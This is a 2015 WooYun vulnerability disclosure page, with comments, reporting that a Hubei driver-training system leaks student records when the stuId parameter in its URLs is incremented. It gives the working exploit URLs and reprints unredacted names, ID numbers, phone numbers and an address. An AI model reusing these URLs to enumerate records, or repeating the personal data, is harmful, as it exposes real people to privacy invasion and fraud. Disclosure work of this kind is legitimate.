当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0130750

漏洞标题：湖北省某机动车驾驶员系统某漏洞影响上万用户敏感信息(姓名，照片，身份证，住址，准教证号，教练车号，电话）

相关厂商：某机动车驾驶员系统

漏洞作者： 0x 80

提交时间：2015-07-31 18:35

修复时间：2015-09-18 10:40

公开时间：2015-09-18 10:40

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-31： 细节已通知厂商并且等待厂商处理中
2015-08-04： 厂商已经确认，细节仅向厂商公开
2015-08-14： 细节向核心白帽子及相关领域专家公开
2015-08-24： 细节向普通白帽子公开
2015-09-03： 细节向实习白帽子公开
2015-09-18： 细节向公众公开

简要描述：

某机动车驾驶员系统上万用户敏感信息泄露(姓名，照片，身份证，住址，准教证号，教练车号，电话）

详细说明：

http://xg.hbwj.com.cn/page/TAB_ArchivesPrint/XGStudyLogPrint.aspx?stuId=144978&sess=1146&stage=2

2351.png


其中ID没任何，替换stuId=即可查询下一位
http://xg.hbwj.com.cn/page/TAB_ArchivesPrint/XGStudyLogPrint.aspx?stuId=144979&sess=1146&stage=2

14.png


=============================================================
另外一处泄露
http://yc.hbwj.com.cn/page/welcomepage/quickdetail_form.aspx?stuid=118607

23468.png


ID没有加密，依次替换查询下一位
http://yc.hbwj.com.cn/page/welcomepage/QuickDetail_Form.aspx?stuID=195387

2357.png


培训机构 	安卓驾校 	
姓名 	朱刚超 	性别 	男 	出生年月 	1990-02-12
身份证号 	420923199002121299 	培训类型 	
住址 	湖北省云梦县曾店镇石山村大朱北组
联系电话 	15871327956 	原准驾车型 	
责任教练员 	盛五 	准教证号 	420923197203102474
教练车号 	鄂K1995学 	责任教练员电话 	13995882486
入学时间 	2015-03-04
培训车型 	C1 	培训阶段 	第二阶段


漏洞证明：

http://yc.hbwj.com.cn/page/welcomepage/quickdetail_form.aspx?stuid=118607


http://xg.hbwj.com.cn/page/TAB_ArchivesPrint/XGStudyLogPrint.aspx?stuId=144979&sess=1146&stage=2


姓名：徐永坤
证件类型：身份证
证件号码：422822199601065014
手机号码：18671572003
IC卡号：X11528074
总学时：37时0分
所属驾校：平安驾校总校
分支机构：凌云机动车驾驶培训教练场
报名时间：2014-03-31
档案号：YCYGJPA14060118
学驾类型：C1
学驾阶段：已结业
培训单号：9080728

修复方案：

版权声明：转载请注明来源 0x 80@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-08-04 10:39

厂商回复：

CNVD确认所述情况,已经转由CNCERT下发给湖北分中心,由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-31 18:36 | 泪雨无魂 ( 实习白帽子 | Rank:94 漏洞数:21 )

    到底是怎么挖到漏洞的？

  2. 2015-07-31 18:41 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @泪雨无魂 哈罗

  3. 2015-07-31 18:50 | ShAdow丶 ( 实习白帽子 | Rank:76 漏洞数:9 | i am a fans of kimYeWon.)

    洞主 成都的?

  4. 2015-07-31 18:53 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @ShAdow丶 怎么了、是的

  5. 2015-07-31 19:08 | ShAdow丶 ( 实习白帽子 | Rank:76 漏洞数:9 | i am a fans of kimYeWon.)

    @0x 80 -。- 老乡啊 。

  6. 2015-07-31 19:12 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @ShAdow丶 额，你好

  7. 2015-07-31 19:48 | ShAdow丶 ( 实习白帽子 | Rank:76 漏洞数:9 | i am a fans of kimYeWon.)

    @0x 80 你挖洞效率挺高的。

  8. 2015-07-31 20:05 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @ShAdow丶 等着哈，马上有大漏洞要呈现了，等着

  9. 2015-07-31 22:29 | 明月影 ( 路人 | Rank:12 漏洞数:6 | 学姿势，学思路。)

    我知道洞主有神器。

  10. 2015-07-31 22:40 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @明月影 你啊，最近没提交漏洞了吗

  11. 2015-07-31 22:46 | 明月影 ( 路人 | Rank:12 漏洞数:6 | 学姿势，学思路。)

    @0x 80 没有。在学习。你赶紧提，好早点成核心。

  12. 2015-07-31 22:50 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @明月影 成不成核心无所谓，最重要我跟你是朋友

  13. 2015-07-31 22:54 | ShAdow丶 ( 实习白帽子 | Rank:76 漏洞数:9 | i am a fans of kimYeWon.)

    @0x 80 哈哈 恩 等到看你的大的

  14. 2015-07-31 22:55 | 明月影 ( 路人 | Rank:12 漏洞数:6 | 学姿势，学思路。)

    @0x 80 对了，我换号了。你把你的QQ再发我一次吧。

  15. 2015-08-01 13:20 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @明月影 又发了几个漏洞，等着审核呢，两个任意密码重置，一个POST注入

  16. 2015-08-01 13:29 | 明月影 ( 路人 | Rank:12 漏洞数:6 | 学姿势，学思路。)

    @0x 80 厉害。坐等公开。

  17. 2015-08-01 13:29 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @明月影 哈哈，额.你在干嘛呢

  18. 2015-08-01 13:34 | 明月影 ( 路人 | Rank:12 漏洞数:6 | 学姿势，学思路。)

    @0x 80 学审计。

  19. 2015-08-01 13:40 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    @明月影 额，函数是吧

  20. 2015-08-01 14:52 | 明月影 ( 路人 | Rank:12 漏洞数:6 | 学姿势，学思路。)

    @0x 80 都学。

  21. 2015-08-01 16:42 | ‮ ( 路人 | Rank:17 漏洞数:4 | -->‮)

    我大湖北热死了